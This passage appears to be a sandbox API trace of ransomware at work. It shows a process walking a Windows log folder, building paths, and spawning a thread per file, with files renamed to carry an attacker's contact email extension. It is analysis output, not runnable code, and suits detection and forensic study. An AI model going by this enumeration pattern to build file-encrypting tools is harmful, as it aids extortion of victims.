ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.017.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UPEFAF~1.D0E")) returned 1 [0170.867] wcscmp (_String1="UpdateSessionOrchestration.017.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.867] wcscmp (_String1="UpdateSessionOrchestration.017.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.867] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff21c8 [0170.867] wcscpy (in: _Dest=0x2ff21c8, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.867] wcscat (in: _Dest=0x2ff21c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.867] wcscat (in: _Dest=0x2ff21c8, _Source="UpdateSessionOrchestration.017.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl.mailto[kokoklock@cock.li].d0e731" [0170.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff21c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f4 [0170.868] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7a24386, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8a3dbb83, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x40c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.018.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UPE261~1.D0E")) returned 1 [0170.868] wcscmp (_String1="UpdateSessionOrchestration.018.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.868] wcscmp (_String1="UpdateSessionOrchestration.018.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.868] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff0e60 [0170.868] wcscpy (in: _Dest=0x2ff0e60, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.868] wcscat (in: _Dest=0x2ff0e60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.868] wcscat (in: _Dest=0x2ff0e60, _Source="UpdateSessionOrchestration.018.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl.mailto[kokoklock@cock.li].d0e731" [0170.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff0e60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f8 [0170.869] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1fc4717b, ftLastAccessTime.dwHighDateTime=0x1d327c0, ftLastWriteTime.dwLowDateTime=0x8a401de4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.019.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UP56BF~1.D0E")) returned 1 [0170.869] wcscmp (_String1="UpdateSessionOrchestration.019.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.869] wcscmp (_String1="UpdateSessionOrchestration.019.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.869] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff16d0 [0170.869] wcscpy (in: _Dest=0x2ff16d0, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.869] wcscat (in: _Dest=0x2ff16d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.869] wcscat (in: _Dest=0x2ff16d0, _Source="UpdateSessionOrchestration.019.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl.mailto[kokoklock@cock.li].d0e731" [0170.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff16d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7fc [0170.870] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x22cb9437, ftLastAccessTime.dwHighDateTime=0x1d327bf, ftLastWriteTime.dwLowDateTime=0x8a44e2d3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x30c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.020.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UP0982~1.D0E")) returned 1 [0170.870] wcscmp (_String1="UpdateSessionOrchestration.020.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.870] wcscmp (_String1="UpdateSessionOrchestration.020.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.870] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff0f38 [0170.870] wcscpy (in: _Dest=0x2ff0f38, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.870] wcscat (in: _Dest=0x2ff0f38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.870] wcscat (in: _Dest=0x2ff0f38, _Source="UpdateSessionOrchestration.020.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl.mailto[kokoklock@cock.li].d0e731" [0170.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff0f38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x804 [0170.871] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8f4581c2, ftLastAccessTime.dwHighDateTime=0x1d327b9, ftLastWriteTime.dwLowDateTime=0x8a49a7c0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.021.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UP7ACB~1.D0E")) returned 1 [0170.871] wcscmp (_String1="UpdateSessionOrchestration.021.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.871] wcscmp (_String1="UpdateSessionOrchestration.021.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.871] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff0878 [0170.871] wcscpy (in: _Dest=0x2ff0878, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0171.672] wcscat (in: _Dest=0x2ff0878, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0171.672] wcscat (in: _Dest=0x2ff0878, _Source="UpdateSessionOrchestration.021.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl.mailto[kokoklock@cock.li].d0e731" [0173.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff0878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d0 [0173.881] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f83b96b, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8a4c0b52, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.022.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UP7D7D~1.D0E")) returned 1 [0173.882] wcscmp (_String1="UpdateSessionOrchestration.022.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.882] wcscmp (_String1="UpdateSessionOrchestration.022.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.882] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff20f0 [0173.882] wcscpy (in: _Dest=0x2ff20f0, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0173.882] wcscat (in: _Dest=0x2ff20f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0173.882] wcscat (in: _Dest=0x2ff20f0, _Source="UpdateSessionOrchestration.022.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl.mailto[kokoklock@cock.li].d0e731" [0173.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff20f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x668 [0173.882] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xcae2810e, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x8a4e6b7f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.023.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UPE0DB~1.D0E")) returned 1 [0173.882] wcscmp (_String1="UpdateSessionOrchestration.023.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.882] wcscmp (_String1="UpdateSessionOrchestration.023.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.882] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff1d90 [0173.882] wcscpy (in: _Dest=0x2ff1d90, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0173.883] wcscat (in: _Dest=0x2ff1d90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0173.883] wcscat (in: _Dest=0x2ff1d90, _Source="UpdateSessionOrchestration.023.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl.mailto[kokoklock@cock.li].d0e731" [0173.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff1d90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x670 [0173.883] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xcd491119, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x8a53309f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x40c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.024.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UPE38D~1.D0E")) returned 1 [0173.883] wcscmp (_String1="UpdateSessionOrchestration.024.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.883] wcscmp (_String1="UpdateSessionOrchestration.024.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.883] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff1f40 [0173.883] wcscpy (in: _Dest=0x2ff1f40, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0173.883] wcscat (in: _Dest=0x2ff1f40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0173.883] wcscat (in: _Dest=0x2ff1f40, _Source="UpdateSessionOrchestration.024.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl.mailto[kokoklock@cock.li].d0e731" [0173.884] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff1f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x678 [0173.884] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xb30910b4, ftLastAccessTime.dwHighDateTime=0x1d3278b, ftLastWriteTime.dwLowDateTime=0x8a559328, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x40c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.025.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UPC778~1.D0E")) returned 1 [0173.884] wcscmp (_String1="UpdateSessionOrchestration.025.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.884] wcscmp (_String1="UpdateSessionOrchestration.025.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.884] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff0a28 [0173.884] wcscpy (in: _Dest=0x2ff0a28, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0173.884] wcscat (in: _Dest=0x2ff0a28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0173.884] wcscat (in: _Dest=0x2ff0a28, _Source="UpdateSessionOrchestration.025.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl.mailto[kokoklock@cock.li].d0e731" [0173.884] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff0a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c4 [0173.885] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xbda7099b, ftLastAccessTime.dwHighDateTime=0x1d32746, ftLastWriteTime.dwLowDateTime=0x8a57f5a4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.026.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UPF3FF~1.D0E")) returned 1 [0173.885] wcscmp (_String1="UpdateSessionOrchestration.026.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.885] wcscmp (_String1="UpdateSessionOrchestration.026.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.885] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff16d0 [0173.885] wcscpy (in: _Dest=0x2ff16d0, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0173.885] wcscat (in: _Dest=0x2ff16d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0173.885] wcscat (in: _Dest=0x2ff16d0, _Source="UpdateSessionOrchestration.026.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl.mailto[kokoklock@cock.li].d0e731" [0173.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff16d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x67c [0173.886] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa972a1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x8a5cb94c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.027.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UPF04E~1.D0E")) returned 1 [0173.886] wcscmp (_String1="UpdateSessionOrchestration.027.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.886] wcscmp (_String1="UpdateSessionOrchestration.027.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.886] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff1958 [0173.886] wcscpy (in: _Dest=0x2ff1958, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0173.886] wcscat (in: _Dest=0x2ff1958, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0173.886] wcscat (in: _Dest=0x2ff1958, _Source="UpdateSessionOrchestration.027.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl.mailto[kokoklock@cock.li].d0e731" [0173.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff1958, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x680 [0173.887] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6fa4f40f, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x8243765a, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x8a5f1c98, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateUx.001.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UPB2F9~1.D0E")) returned 1 [0173.887] wcscmp (_String1="UpdateUx.001.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.887] wcscmp (_String1="UpdateUx.001.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.887] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa8) returned 0x2f91f50 [0173.887] wcscpy (in: _Dest=0x2f91f50, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0173.887] wcscat (in: _Dest=0x2f91f50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0173.887] wcscat (in: _Dest=0x2f91f50, _Source="UpdateUx.001.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl.mailto[kokoklock@cock.li].d0e731" [0173.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c0 [0173.888] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6fa4f40f, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x6fa4f40f, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x8a617e6f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x30c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateUx.002.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UPDEFE~1.D0E")) returned 1 [0173.888] wcscmp (_String1="UpdateUx.002.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.888] wcscmp (_String1="UpdateUx.002.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.888] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa8) returned 0x2f92000 [0173.888] wcscpy (in: _Dest=0x2f92000, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0173.888] wcscat (in: _Dest=0x2f92000, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0173.888] wcscat (in: _Dest=0x2f92000, _Source="UpdateUx.002.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl.mailto[kokoklock@cock.li].d0e731" [0173.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f92000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x690 [0173.889] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6fa4f40f, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x6fa4f40f, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x8a617e6f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x30c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateUx.002.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UPDEFE~1.D0E")) returned 0 [0173.889] FindClose (in: hFindFile=0x2f802e0 | out: hFindFile=0x2f802e0) returned 1 [0173.889] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2378) returned 1 [0173.889] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa14f0) returned 1 [0173.889] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa1270) returned 1 [0173.889] RtlExitUserThread (Status=0x0) Thread: id = 1779 os_tid = 0xe90 [0169.195] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run extensibility component.swidtag.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.197] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.198] CreateFileW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run extensibility component.swidtag.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.198] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility 